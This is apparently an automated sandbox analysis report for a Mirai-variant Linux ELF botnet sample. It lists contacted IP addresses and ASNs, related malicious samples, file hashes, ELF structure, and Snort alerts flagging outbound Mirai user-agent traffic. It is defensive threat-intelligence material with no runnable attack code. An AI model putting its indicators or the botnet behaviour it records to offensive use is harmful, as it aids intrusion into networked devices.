38.197.168.232	unknown	United States	174	COGENT-174US	false
88.1.220.202	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
157.220.202.127	unknown	United States	4704	SANNETRakutenMobileIncJP	false
85.21.130.39	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
95.232.220.35	unknown	Italy	3269	ASN-IBSNAZIT	false
112.249.78.85	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
88.42.245.249	unknown	Italy	3269	ASN-IBSNAZIT	false
85.143.199.231	unknown	Russian Federation	57010	CLODO-ASRU	false
95.145.60.10	unknown	United Kingdom	12576	EELtdGB	false
62.210.152.246	unknown	France	12876	OnlineSASFR	false
85.141.148.210	unknown	Russian Federation	8359	MTSRU	false
94.50.19.14	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
112.41.220.104	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
31.2.120.54	unknown	Poland	21243	PLUSNETPlusGSMtransitcorenetworkPL	false
94.207.100.112	unknown	United Arab Emirates	15802	DU-AS1AE	false
117.58.42.12	unknown	China	4782	GSNETDataCommunicationBusinessGroupTW	false
85.183.86.141	unknown	Germany	6805	TDDE-ASN1DE	false
76.76.87.165	unknown	United States	39939	RISE-CO-AS39939US	false
31.240.192.17	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
157.57.217.83	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
85.71.136.39	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
85.121.58.186	unknown	Romania	9050	RTDBucharestRomaniaRO	false
31.104.86.126	unknown	United Kingdom	12576	EELtdGB	false
94.54.78.121	unknown	Turkey	47524	TURKSAT-ASTR	false
94.63.104.56	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
220.161.144.62	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
1.205.2.57	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
94.22.161.87	unknown	Finland	15527	ANVIASilmukkatie6VaasaFinlandFI	false
31.148.200.101	unknown	Czech Republic	56965	GOTHAMADS-ASNL	false
62.1.217.91	unknown	Greece	197746	HYPERHOSTINGGeorgiosVardikostradingasHYPERHOSTINGGR	false
94.150.243.148	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
85.173.96.233	unknown	Russian Federation	43132	KBT-ASBranchformerKabbalktelecomRU	false
62.174.98.65	unknown	Spain	12430	VODAFONE_ESES	false
53.108.223.115	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
31.86.186.149	unknown	United Kingdom	12576	EELtdGB	false
157.167.66.131	unknown	Austria	44444	FORCEPOINT-CLOUD-ASEU	false
62.74.130.70	unknown	Greece	12361	PANAFONET-ASAthensGreeceGR	false
95.51.135.113	unknown	Poland	5617	TPNETPL	false
132.185.252.105	unknown	United Kingdom	31459	BBC-RD-ASBritishBroadcastingCorporationGB	false
85.216.185.194	unknown	Slovakia (SLOVAK Republic)	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
141.236.172.175	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
197.12.117.160	unknown	Tunisia	37703	ATLAXTN	false
85.230.40.183	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
95.212.118.80	unknown	Egypt	51167	CONTABODE	false
60.86.229.83	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
119.59.29.47	unknown	Korea Republic of	4773	MOBILEONELTD-AS-APMobileOneLtdMobileInternetServicePr	false
180.199.137.177	unknown	Japan	18126	CTCXChubuTelecommunicationsCompanyIncJP	false
94.209.151.141	unknown	Netherlands	33915	TNF-ASNL	false
85.46.179.7	unknown	Italy	3269	ASN-IBSNAZIT	false
95.19.24.234	unknown	Spain	12479	UNI2-ASES	false
62.52.13.82	unknown	Germany	6805	TDDE-ASN1DE	false
85.112.60.12	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
41.219.191.22	unknown	Nigeria	30998	NAL-ASNG	false
197.237.248.156	unknown	Kenya	15399	WANANCHI-KE	false
94.226.96.212	unknown	Belgium	6848	TELENET-ASBE	false
31.127.110.202	unknown	United Kingdom	12576	EELtdGB	false
40.69.202.28	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
85.246.144.13	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
88.247.14.21	unknown	Turkey	9121	TTNETTR	false
94.132.45.241	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
48.101.198.80	unknown	United States	2686	ATGS-MMD-ASUS	false
157.162.143.30	unknown	Germany	22192	SSHENETUS	false
31.179.155.70	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
31.95.128.3	unknown	United Kingdom	12576	EELtdGB	false
36.208.91.37	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
190.168.92.253	unknown	Venezuela	23007	UniversidaddeLosAndesVE	false
62.127.93.8	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
88.98.151.176	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
112.155.192.14	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
31.34.241.16	unknown	France	5410	BOUYGTEL-ISPFR	false
61.111.192.250	unknown	Korea Republic of	138195	MOACKCOLTD-AS-APMOACKCoLTDKR	false
95.253.111.27	unknown	Italy	3269	ASN-IBSNAZIT	false
31.70.134.103	unknown	United Kingdom	12576	EELtdGB	false
95.19.24.224	unknown	Spain	12479	UNI2-ASES	false
197.217.101.197	unknown	Angola	11259	ANGOLATELECOMAO	false
88.37.5.52	unknown	Italy	3269	ASN-IBSNAZIT	false
41.68.96.177	unknown	Egypt	24835	RAYA-ASEG	false
19.239.166.205	unknown	United States	3	MIT-GATEWAYSUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.87.198.38	Q1wqSdPNt8.elf	Get hash	malicious	Unknown	Browse
	RtuIK4i7C7.elf	Get hash	malicious	Mirai, Moobot	Browse
	0IKJKOjAXV	Get hash	malicious	Mirai	Browse
	7g5WOGZF3t	Get hash	malicious	Mirai	Browse
	sbcPMw271m	Get hash	malicious	Mirai	Browse
	arm-20211013-0650	Get hash	malicious	Mirai	Browse
94.66.233.228	QhEaprWm7h	Get hash	malicious	Mirai	Browse
	Tsunami.arm	Get hash	malicious	Mirai	Browse
	WrlNUDVmep	Get hash	malicious	Mirai	Browse
94.174.138.235	qJY7qgxKYq.elf	Get hash	malicious	Mirai	Browse
94.174.138.235	tVkhFxER8d	Get hash	malicious	Mirai	Browse
112.40.230.205	Dh7eQYH1Um	Get hash	malicious	Mirai	Browse
112.40.230.205	3oIJHpiKNe	Get hash	malicious	Mirai	Browse
95.29.14.167	zySfDhTvY5	Get hash	malicious	Mirai	Browse
95.239.15.49	sqMOEKKQ7n	Get hash	malicious	Mirai	Browse
95.14.46.157	QISOVbNi9M.elf	Get hash	malicious	Mirai	Browse
	hFe9k33WDU.elf	Get hash	malicious	Mirai	Browse
	Ro8Lsl4vd5	Get hash	malicious	Mirai	Browse
	apep.arm7	Get hash	malicious	Mirai	Browse
94.85.218.97	CrzW8Y1p41	Get hash	malicious	Mirai	Browse
94.85.218.97	ggeZZ88tBh	Get hash	malicious	Mirai	Browse
62.181.174.189	ONZRjy4HYK.elf	Get hash	malicious	Mirai	Browse
	n5eIMEM68E	Get hash	malicious	Mirai	Browse
	aqua.arm	Get hash	malicious	Gafgyt Mirai	Browse
	vkuHZR0qWf	Get hash	malicious	Mirai	Browse
	AtzpbZmOwo	Get hash	malicious	Mirai	Browse
157.37.165.98	x86-20231015-1817.elf	Get hash	malicious	Mirai	Browse
	4qpkROXjiG.elf	Get hash	malicious	Mirai	Browse
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
85.108.172.21	kbo5fVgZ7T	Get hash	malicious	Mirai	Browse
85.108.172.21	vfnSoEdSbN	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	WeKOvoISwM.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	g4FOBbCeOU.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	5CE7vLsYzJ.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	Ew6RaDz3Hh.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	KuBx8gDxvk.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	yqeO67O9gY.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	rLzRQBSFzM.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	XCyL6J3ztq.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	6uCx76qq7j.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	OayTT0t7Vi.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	XCyL6J3ztq.elf	Get hash	malicious	Mirai	Browse	36.140.93.214
	1HQA1l3CnJ.elf	Get hash	malicious	Mirai	Browse	111.45.241.4
	k19pd0afPb.elf	Get hash	malicious	Mirai, Moobot	Browse	36.144.153.193
	ZMmldq2l5G.elf	Get hash	malicious	Unknown	Browse	36.139.113.203
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	36.145.201.190
	u6aBuFUyJo.elf	Get hash	malicious	Mirai	Browse	36.145.201.142
	wNxS15qBuw.elf	Get hash	malicious	Unknown	Browse	223.102.9.85
	Q87z4TcuF1.elf	Get hash	malicious	Mirai	Browse	36.144.68.133
	57viNakyQH.elf	Get hash	malicious	Mirai	Browse	39.153.124.219
	hyper.x86.elf	Get hash	malicious	Mirai	Browse	36.145.196.211
NCR-252US	quhEKAdhFU.elf	Get hash	malicious	Mirai	Browse	135.195.71.204
	VIVgR5KRV8.elf	Get hash	malicious	Mirai	Browse	135.165.42.199
	HpUy6OymcM.elf	Get hash	malicious	Unknown	Browse	135.176.94.123
	ktMLmEUY2l.elf	Get hash	malicious	Mirai	Browse	135.136.39.113
	i29e2WTdR1.elf	Get hash	malicious	Mirai	Browse	135.137.52.73
	4JJkk655SP.elf	Get hash	malicious	Unknown	Browse	153.60.20.90
	k19pd0afPb.elf	Get hash	malicious	Mirai, Moobot	Browse	153.57.51.118
	Irky8mkEt2.elf	Get hash	malicious	Mirai, Moobot	Browse	135.144.128.20
	iL9zMjibuS.elf	Get hash	malicious	Unknown	Browse	135.137.245.219
	pL93mphmiw.elf	Get hash	malicious	Unknown	Browse	135.210.120.243
CipherWaveZA	h7x9LMic6K.elf	Get hash	malicious	Mirai, Okiru	Browse	197.234.167.171
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	41.87.215.101
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	41.87.198.42
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	197.234.167.196
	edFbiEdQAz.elf	Get hash	malicious	Unknown	Browse	41.87.198.45
	dmdPPfU38L.elf	Get hash	malicious	Mirai, Moobot	Browse	41.87.198.49
	4eBW5heMG4.elf	Get hash	malicious	Mirai	Browse	197.234.167.174
	G1Qu0bquaq.elf	Get hash	malicious	Mirai	Browse	41.87.198.41
	E6l0C6FObI.elf	Get hash	malicious	Mirai	Browse	197.234.167.167
	U3FsHbHDDh.elf	Get hash	malicious	Mirai	Browse	41.87.198.69
OTENET-GRAthens-GreeceGR	WeKOvoISwM.elf	Get hash	malicious	Mirai	Browse	94.66.233.208
	g4FOBbCeOU.elf	Get hash	malicious	Mirai	Browse	94.70.69.85
	TCEAHNWlS8.elf	Get hash	malicious	Mirai	Browse	85.73.198.75
	VIVgR5KRV8.elf	Get hash	malicious	Mirai	Browse	80.107.96.166
	7Hu1z2PLfg.elf	Get hash	malicious	Mirai, Gafgyt	Browse	178.147.7.230
	6l1kqDkxR2.elf	Get hash	malicious	Moobot	Browse	83.235.184.7
	HgihoxqKX2.elf	Get hash	malicious	Gafgyt	Browse	85.75.61.150
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	2.85.138.36
	U5S8p04stk.elf	Get hash	malicious	Mirai	Browse	178.147.7.201
	SecuriteInfo.com.Linux.Siggen.9999.30151.28325.elf	Get hash	malicious	Mirai	Browse	2.85.138.45
ASN-IBSNAZIT	WeKOvoISwM.elf	Get hash	malicious	Mirai	Browse	85.43.244.52
	g4FOBbCeOU.elf	Get hash	malicious	Mirai	Browse	95.253.134.165
	5CE7vLsYzJ.elf	Get hash	malicious	Mirai	Browse	95.232.60.5
	TCEAHNWlS8.elf	Get hash	malicious	Mirai	Browse	85.33.7.6
	yqeO67O9gY.elf	Get hash	malicious	Mirai	Browse	95.235.213.209
	rLzRQBSFzM.elf	Get hash	malicious	Mirai	Browse	88.53.30.40
	Hp6E4bYV60.elf	Get hash	malicious	Mirai	Browse	217.59.204.193
	1HQA1l3CnJ.elf	Get hash	malicious	Mirai	Browse	79.51.179.113
	XiVyESLidg.elf	Get hash	malicious	Mirai	Browse	85.45.213.169
	sXbCMO84im.elf	Get hash	malicious	Mirai	Browse	62.211.1.81

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.403653409028618
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	kncYk2tWvH.elf
File size:	66'320 bytes
MD5:	d37eb83ee9d6340d69af2924529ff6d4
SHA1:	518ab19ec3e383d4fd6caa1b316c028f515e188d
SHA256:	bfd752884cac989ea3c301b01b0faa7c5b88759db102e4f2b315dbec5d38d896
SHA512:	efac2a749179c4ec25ca20d9a2096e15ab2bfbd3d2976d076cf1f143331bf0b0a9c7b7c0e984b245cb2ab9baa8455772530b7f1dec1e794a28545ee79e889dcf
SSDEEP:	1536:QPpPWnPZz5ZEbHRVOF2fMg5bhQURqPVgUa8X+DrDt5NVS+l:yp+nxz5SbHfO8EihdRqP/aIgDtl9
TLSH:	E4533AC4B643E9F1DC060675306BEF364E36F4B6212AEA87D3D4AA33BC42A4195076DD
File Content Preview:	.ELF....................d...4...........4. ...(.....................................................@...............Q.td............................U..S.......w....h....s...[]...$.............U......=@....t..5....$......$.......u........t....h.{..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	65920
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xe996	0x0	0x6	AX	16
.fini	PROGBITS	0x8056a46	0xea46	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8056a60	0xea60	0x1140	0x0	0x2	A	32
.ctors	PROGBITS	0x8058000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8058008	0x10008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8058020	0x10020	0x120	0x0	0x3	WA	32
.bss	NOBITS	0x8058140	0x10140	0x6a0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x10140	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xfba0	0xfba0	6.4837	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x10000	0x8058000	0x8058000	0x140	0x7e0	4.5585	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/04/24-15:07:06.825334	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41772	80	192.168.2.13	95.64.224.70
03/04/24-15:06:22.911129	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36042	80	192.168.2.13	95.61.17.154
03/04/24-15:06:45.331432	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42554	80	192.168.2.13	88.159.120.172
03/04/24-15:08:44.942821	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40872	80	192.168.2.13	95.110.173.162
03/04/24-15:06:33.029234	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41160	80	192.168.2.13	95.101.81.28
03/04/24-15:08:52.740154	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38872	80	192.168.2.13	88.198.182.236
03/04/24-15:07:18.518924	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49950	80	192.168.2.13	95.101.246.219
03/04/24-15:06:30.905745	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53792	80	192.168.2.13	88.207.19.123
03/04/24-15:06:31.464934	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47654	80	192.168.2.13	112.46.228.48
03/04/24-15:07:22.240049	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45756	80	192.168.2.13	95.56.17.126
03/04/24-15:06:22.988903	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55184	80	192.168.2.13	95.56.22.46
03/04/24-15:05:51.858022	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55768	80	192.168.2.13	95.119.172.105
03/04/24-15:07:43.653317	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34062	80	192.168.2.13	95.217.158.208
03/04/24-15:08:09.588493	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51392	80	192.168.2.13	112.28.240.200
03/04/24-15:06:03.726286	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35128	80	192.168.2.13	112.167.108.6
03/04/24-15:07:40.282241	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40316	80	192.168.2.13	95.202.99.186
03/04/24-15:07:24.825679	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52598	80	192.168.2.13	88.198.106.121
03/04/24-15:07:27.954557	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45182	80	192.168.2.13	112.127.52.24
03/04/24-15:08:09.566857	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36108	80	192.168.2.13	88.215.22.216
03/04/24-15:08:26.605480	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59854	80	192.168.2.13	95.142.206.68
03/04/24-15:08:27.629070	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56278	80	192.168.2.13	95.100.57.28
03/04/24-15:07:13.735041	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52534	80	192.168.2.13	88.149.138.185
03/04/24-15:07:57.524416	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47310	80	192.168.2.13	88.198.128.59
03/04/24-15:06:55.735438	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	60870	80	192.168.2.13	88.216.67.200
03/04/24-15:07:59.991659	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57646	80	192.168.2.13	88.210.64.8
03/04/24-15:07:35.458917	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46262	80	192.168.2.13	88.149.182.244
03/04/24-15:07:57.502779	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35556	80	192.168.2.13	88.221.60.124
03/04/24-15:07:18.995856	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58740	80	192.168.2.13	112.133.90.131
03/04/24-15:07:55.287081	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57194	80	192.168.2.13	88.221.33.93
03/04/24-15:08:45.017474	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51566	80	192.168.2.13	95.59.212.33
03/04/24-15:08:27.637116	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46876	80	192.168.2.13	95.115.105.76
03/04/24-15:07:27.309927	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34398	80	192.168.2.13	95.56.72.176
03/04/24-15:06:10.569813	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57184	80	192.168.2.13	112.132.250.141
03/04/24-15:07:07.751109	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	60010	80	192.168.2.13	88.221.179.180
03/04/24-15:07:48.421577	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52966	80	192.168.2.13	88.198.117.34
03/04/24-15:08:52.619859	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40796	80	192.168.2.13	95.180.163.211
03/04/24-15:08:41.842380	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56382	80	192.168.2.13	112.133.250.204
03/04/24-15:06:20.075750	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47872	80	192.168.2.13	112.28.219.4
03/04/24-15:08:37.603734	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34086	80	192.168.2.13	88.129.117.254
03/04/24-15:07:51.862687	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34500	80	192.168.2.13	95.9.107.232
03/04/24-15:06:47.093505	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54710	80	192.168.2.13	112.153.206.110
03/04/24-15:05:51.833577	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59396	80	192.168.2.13	95.100.76.88
03/04/24-15:07:31.840745	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48922	80	192.168.2.13	88.221.66.48
03/04/24-15:05:51.849366	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43634	80	192.168.2.13	95.216.9.203
03/04/24-15:08:14.500318	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57318	80	192.168.2.13	95.100.75.199
03/04/24-15:07:07.424720	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43762	80	192.168.2.13	95.85.3.251
03/04/24-15:06:28.785327	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57206	80	192.168.2.13	88.87.140.93
03/04/24-15:08:03.593624	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34760	80	192.168.2.13	95.110.147.132
03/04/24-15:06:30.876219	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48446	80	192.168.2.13	88.99.29.163
03/04/24-15:07:06.903778	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41634	80	192.168.2.13	95.100.6.154
03/04/24-15:07:21.795772	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35482	80	192.168.2.13	88.119.92.235
03/04/24-15:06:47.298159	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47898	80	192.168.2.13	112.15.41.238
03/04/24-15:08:18.890026	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51966	80	192.168.2.13	95.100.238.96
03/04/24-15:07:17.731128	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47178	80	192.168.2.13	95.176.248.53
03/04/24-15:07:56.842918	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55544	80	192.168.2.13	95.100.230.222
03/04/24-15:05:43.070268	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54126	80	192.168.2.13	95.100.42.47
03/04/24-15:07:18.531779	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44736	80	192.168.2.13	88.221.197.38
03/04/24-15:07:38.256208	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51056	80	192.168.2.13	95.100.148.94
03/04/24-15:06:00.141859	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33232	80	192.168.2.13	88.129.108.34
03/04/24-15:07:14.556906	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49584	80	192.168.2.13	88.215.140.78
03/04/24-15:07:38.832561	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47236	80	192.168.2.13	95.86.109.87
03/04/24-15:07:51.832819	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52694	80	192.168.2.13	95.214.134.44
03/04/24-15:08:41.018616	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36450	80	192.168.2.13	95.217.58.179
03/04/24-15:07:32.665423	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59818	80	192.168.2.13	95.57.54.68
03/04/24-15:08:50.297318	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44634	80	192.168.2.13	88.214.194.206
03/04/24-15:05:54.333396	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55148	80	192.168.2.13	88.183.151.202
03/04/24-15:08:20.192508	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44988	80	192.168.2.13	95.100.4.124
03/04/24-15:07:01.739740	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42640	80	192.168.2.13	95.100.190.108
03/04/24-15:08:05.906555	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37902	80	192.168.2.13	112.30.220.134
03/04/24-15:08:52.654794	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40482	80	192.168.2.13	95.191.130.152
03/04/24-15:06:04.740188	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40148	80	192.168.2.13	112.187.20.12
03/04/24-15:08:09.569592	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51390	80	192.168.2.13	112.28.240.200
03/04/24-15:08:19.853607	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38986	80	192.168.2.13	95.46.201.228
03/04/24-15:05:42.895003	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55310	80	192.168.2.13	95.129.205.81
03/04/24-15:07:35.470090	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49740	80	192.168.2.13	88.149.223.202
03/04/24-15:08:41.017375	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51530	80	192.168.2.13	95.216.183.65
03/04/24-15:06:54.280629	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35424	80	192.168.2.13	112.50.105.25
03/04/24-15:08:38.783280	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50856	80	192.168.2.13	88.84.155.249
03/04/24-15:07:01.915749	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56782	80	192.168.2.13	88.99.57.184
03/04/24-15:06:46.144228	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56386	80	192.168.2.13	95.181.234.11
03/04/24-15:08:27.606489	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48354	80	192.168.2.13	95.81.162.213
03/04/24-15:08:09.785047	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44856	80	192.168.2.13	95.244.17.208
03/04/24-15:06:03.915134	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	32802	80	192.168.2.13	95.217.114.233
03/04/24-15:06:15.890156	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59440	80	192.168.2.13	88.99.169.30
03/04/24-15:07:14.834117	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46640	80	192.168.2.13	112.171.211.195
03/04/24-15:07:17.710162	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44902	80	192.168.2.13	95.179.130.249
03/04/24-15:07:27.208386	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34786	80	192.168.2.13	95.169.27.104
03/04/24-15:06:20.020968	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40460	80	192.168.2.13	112.217.191.162
03/04/24-15:06:46.410224	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38626	80	192.168.2.13	112.47.18.146
03/04/24-15:08:38.985643	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39902	80	192.168.2.13	88.198.205.108
03/04/24-15:06:28.312761	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35754	80	192.168.2.13	112.198.131.87
03/04/24-15:07:00.215338	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47316	80	192.168.2.13	112.64.200.234
